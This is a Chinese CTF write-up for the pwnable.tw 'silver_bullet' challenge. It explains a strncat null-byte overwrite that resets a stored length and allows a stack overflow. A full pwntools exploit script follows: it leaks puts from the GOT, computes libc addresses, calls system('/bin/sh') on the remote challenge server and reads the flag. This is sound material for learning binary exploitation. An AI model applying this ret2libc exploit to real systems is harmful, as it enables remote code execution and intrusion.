zoukankan      html  css  js  c++  java
  • pwnable.tw silver_bullet

    silver_bullet

    检查保护

    程序很简单也就这几个功能。

    重点关注一下这三个主要函数。

    Create函数,首先输入一个小于等于0x30长度的字符串,然后在s[0x30]的地方存入输入字符串的长度。

    Pwoer_up函数,首先判断之前输入的字符串长度是否小于0x2F,如果小于,则可以对字符串进行追加。漏洞点就在于这个strncat ,strncat(dest,src,n)的功能是将src的前n个字节的字符追加到dest字符串后面,然后再加上x00结尾。
    试想一下我们首先输入的字符串为0x10长度,而s[0x30]处存着长度0x10。我们再输入0x30-0x10长度到字符串追加到之前的字符串后面,然后后面填上0x00,那么s[0x30]处低字节就被覆盖为了0x00,我们原先0x10在内存中的存储是按小端存储的也就是x30x00x00x00,我们覆盖后就成了x00x00x00x00,追加后的长度v3等于0x20,0x20<0x2F这样我们还可以再次追加,这样就造成了栈溢出。

    由于程序是死循环,只有beat函数返回为1才能正常退出。所以我们要分析一下beat函数。

    首先是类似于打怪,我们刚刚输入的字符串长度,也就是s[0x30]处的值被当成伤害,要把怪物打死main函数才能正常退出,而怪物HP有0x7FFFFFFF这么多。

    不过我们不用慌

    v3 = strlen(&s) + dest[0x30];
    

    我们第2次字符串拼接可以覆盖dest[0x30],最终这个地方的值就是我们填入的值加上输入的s长。

    由于没有cannary的保护,我们可以简单的进行栈溢出。原本栈上是这样的:

    栈上变量
    怪的血量 0x7fffffff
    怪的名字 Gin
    s
    ....
    s的’长度‘
    ebp
    ret

    我们把栈布局成如下:

    栈上变量
    怪的血量 0x7fffffff
    怪的名字 Gin
    s AAAA...
    .... ...
    s的'长度' 0xFFFFFF23
    ebp 0x4141417F
    ret put_plt
    main
    params put_got

    我们首先泄漏出puts的地址,进而计算出libc的加载地址,然后算出system和bin_sh的地址
    同理我们再来一次,把ret换成system,把参数换成bin_sh即可get_shell.

    栈上变量
    怪的血量 0x7fffffff
    怪的名字 Gin
    s AAAA...
    .... ...
    s的’长度‘ 0xFFFFFF23
    ebp 0x4141417f
    ret system
    main
    params bin_sh
    from pwn import *
    context.log_level = "DEBUG"
    
    debug = 0
    if debug:
        p = process("./silver_bullet")
        libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')
    else:
        p = remote('chall.pwnable.tw',10103)
        libc = ELF('./libc_32.so.6')
    
    elf = ELF('./silver_bullet')
    
    main = 0x8048954
    def create(desc):
        p.sendlineafter("Your choice :",'1')
        p.sendafter("Give me your description of bullet :",desc)
    
    def power(desc):
        p.sendlineafter("Your choice :",'2')
        p.sendafter("bullet :",desc)
    
    def beat():
        p.sendlineafter("Your choice :",'3')
    
    
    def exp(fun,param):
        create('A'*0x20)
        power('B'*0x10)
        power(p32(0x7FFFFFFF)+"A"*3+p32(fun)+p32(main)+p32(param))
        beat()
    
    
    exp(elf.plt['puts'],elf.got['puts'])
    
    p.recvuntil('Oh ! You win !!
    ')
    puts = u32(p.recvuntil('
    ',drop=True).ljust(4,'x00'))
    print 'puts: '+hex(puts)
    libc_base = puts - libc.symbols['puts']
    system = libc_base + libc.symbols['system']
    bin_sh = libc_base + libc.search('/bin/sh').next()
    print "system: "+hex(system)
    print "bin_sh: "+hex(bin_sh)
    
    exp(system,bin_sh)
    
    p.sendlineafter("Oh ! You win !!
    ","cat /home/silver_bullet/flag")
    p.interactive()
    
  • 相关阅读:
    zabbix配合脚本监控Kafka
    用strings命令查看kafka-log内容 过滤二进制编码
    docker容器中搭建kafka集群环境
    Elasticsearch究竟要设置多少分片数?
    elasticsearch 基础知识汇总
    ES磁盘分配不均问题
    elasticsearch-5.1.1使用snapshot接口备份索引
    filebeat.yml(中文配置详解)
    elasticsearch分词器Jcseg安装手册
    开启了1000个线程并发去查询elasticsearch把es搞挂了
  • 原文地址:https://www.cnblogs.com/Rookle/p/12884557.html
Copyright © 2011-2022 走看看